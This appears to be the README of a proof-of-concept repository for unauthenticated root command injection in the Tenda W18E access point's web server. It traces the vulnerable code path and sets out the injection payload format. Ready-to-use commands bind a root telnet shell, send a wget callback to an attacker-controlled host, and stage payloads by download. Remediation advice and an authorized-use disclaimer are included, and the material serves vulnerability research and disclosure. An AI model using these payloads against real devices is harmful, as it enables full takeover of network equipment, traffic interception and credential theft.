
Proof-of-concept for unauthenticated root OS command injection in the Tenda W18E AP httpd diagnose module, with a self-verifying exploit script and QEMU MIPS emulation harness.
diagnose module)OS command injection in the Tenda W18E High-Power AP web server (/bin/httpd). A
remote attacker can execute arbitrary shell commands as root, and on a device in
factory / post-reset state the attack needs no authentication.
| Product | Tenda W18E High-Power AP |
| Firmware (tested) | US_W18EV2_kf_V16.01.0.20(4766)_HighPower |
| Component | /bin/httpd (MIPS32 little-endian, musl, GoAhead-based) |
| Class | CWE-78 OS Command Injection → arbitrary command execution as root |
| Endpoints | POST /goform/setModules, POST /goform/getModules (module diagnose) |
| Auth | None while quickset.done == 0 (factory / post-reset); otherwise any valid session |
| Vulnerable field | protocol (also targetDevice) in the diagnose JSON object |
| CVE | pending |
⚠️ Authorized testing only. Use this against devices you own or are explicitly permitted to test. See Legal / responsible use.
The "network check / packet capture" feature stores user-supplied JSON fields into the config store and later splices them into a shell command.
Store (no sanitisation): formSetNetCheckTools (httpd @ 0x4e0968) reads the JSON
field protocol and writes it to the config key net.check.protocol. The vendor's own
shell-metacharacter check (prod_system_param_valid) is applied to the sibling ip
field but not to protocol / targetDevice.
Use (sink): starting a capture makes do_packet_action (httpd @ 0x4ddbd0) read the
value back and build a tcpdump command with snprintf, then run it through
doSystemCmd → system(3):
// do_packet_action, simplified
snprintf(cmd, 256, "tcpdump -i %s %s -U -c %d -w %s &", ifname, protocol, num, file);
doSystemCmd(cmd); // -> vsnprintf() -> system(cmd) -> /bin/sh -c ...
Any shell metacharacter in protocol therefore runs. httpd runs as root, so the
injected command does too.
POST /goform/setModules {"diagnose":{... "protocol":";<cmd>;#" ...}}
│ formSetModules -> cJSON_Parse(request body)
│ formSetNetCheckTools -> prod_cfm_set_val("net.check.protocol", value) [no validation]
▼
config store
│ getModules -> do_packet_action
│ GetValue("net.check.protocol") -> snprintf("tcpdump ... %s ... &", value)
▼
doSystemCmd(cmd) -> system() -> /bin/sh -c ← injection executes as root
setModules only stores the payload; the capture worker (and therefore system())
is started by the follow-up getModules. The getModules HTTP response is a status
field and reads "insufficient memory" (内存不足…) even on success — so never treat
the HTTP response as the result. Verify out of band.
.
├── poc.sh # exploit: 2 requests, self-verifying by default
├── EXPECTED_OUTPUT.txt # reference capture of a successful run
├── harness/ # reproduce with NO hardware (full-system MIPS emulation)
│ ├── build_and_run.sh # build emulated rootfs + boot httpd on 127.0.0.1:8080
│ ├── cfmstub.c # LD_PRELOAD GetValue/SetValue shim (freestanding, 1 file)
│ ├── init_poc.sh # guest init: mount, seed config, bring up eth0
│ └── sercon.py # drive the guest serial console
├── LICENSE
└── README.md
Put the AP in its default/factory state (or log in and reuse the session) and connect
to its LAN. Note its IP (commonly 192.168.0.1).
Fire the self-verifying PoC:
./poc.sh 192.168.0.1
It writes a proof file into the web root and reads it back, printing e.g.
W18E-RCE-OK-uid0 → the command ran as uid 0 (root).
Run your own command:
./poc.sh 192.168.0.1 'telnetd -l/bin/sh -p9999' # bind a root shell (telnetd ships on the device)
telnet 192.168.0.1 9999 # ... then connect to it
Or a blind network callback to a listener you control (replace with your LAN IP):
# on your machine: nc -lvnp 4444
./poc.sh 192.168.0.1 "wget -qT4 http://YOUR_IP:4444/uid_\$(awk '/^Uid/{print \$2}' /proc/self/status)"
# your listener shows: GET /uid_0 HTTP/1.1
Payload size limit. The command is assembled with
snprintfinto a 256-byte buffer (tcpdump -i <if> <your-payload> -U -c N -w <file> &). Keep the injected command under ~110 characters or the tail gets truncated and nothing runs. For anything bigger, stage it:wget/tftpa script or MIPS-LE binary into/tmp,chmod +x, run it.No
id/whoamion the device. Its BusyBox is stripped (id,whoami,ncare not compiled in). Available tools includesh,awk,grep,cat,cut,sed,wget,tftp,telnetd,ping. Prove root via/proc/self/status(uid 0) as the PoC does.
The harness boots the original httpd and its shipped .sos under full-system MIPS
emulation. Only GetValue/SetValue are shimmed (cfmstub.c via LD_PRELOAD), because
the on-device cfmd config daemon needs NAND flash the emulator lacks — all vulnerable
code is unmodified firmware. (User-mode QEMU does not work here: the multithreaded
GoAhead server deadlocks on FUTEX_LOCK_PI; a real kernel is required.)
sudo apt install qemu-system-mips e2fsprogs python3 gcc-mipsel-linux-gnu
# if gcc-mipsel-linux-gnu is unavailable on your distro, the build script also
# accepts clang + lld: sudo apt install clang lld
You also need a MIPSEL malta kernel that boots an ext2 rootfs — any firmadyne/FirmAE
vmlinux.mipsel.4 works.
cd harness
export ROOTFS_SRC=/path/to/_..._.extracted/squashfs-root # the extracted firmware root
export KERNEL=/path/to/vmlinux.mipsel.4
sudo -E ./build_and_run.sh # prints: httpd is live at http://127.0.0.1:8080/
../poc.sh 127.0.0.1:8080 # self-verifying -> W18E-RCE-OK-uid0
# or read anything out of the guest over its serial console:
sudo python3 sercon.py 'cat /tmp/RCE_OK' 'grep Uid /proc/self/status'
Expected output is in EXPECTED_OUTPUT.txt. In the emulator the
host is reachable from the guest at 10.0.2.2 (QEMU user-mode NAT), so network-callback
payloads should target 10.0.2.2:<port>.
Unauthenticated (factory state) remote root command execution on an access point: full device takeover — persistent backdoor, traffic interception (it is literally the packet-capture feature), credential/config theft, LAN pivot, or bricking.
tcpdump via execve/posix_spawn with an argv[] — do not build a shell string.formSetNetCheckTools boundary with an allow-list
(protocol = known keywords; targetDevice = ^[0-9A-Fa-f:.]+$), not just ip.doSystemCmd; use doSystemCmd("%s", cmd)
and audit the other callers.$ > < ( ) ` and newline.This proof-of-concept is published for security research and educational purposes only. Only run it against hardware you own or are explicitly authorized to test. Unauthorized access to computer systems is illegal in most jurisdictions. The authors accept no liability for misuse. If you find this issue on devices you do not control, follow coordinated/responsible disclosure with the vendor.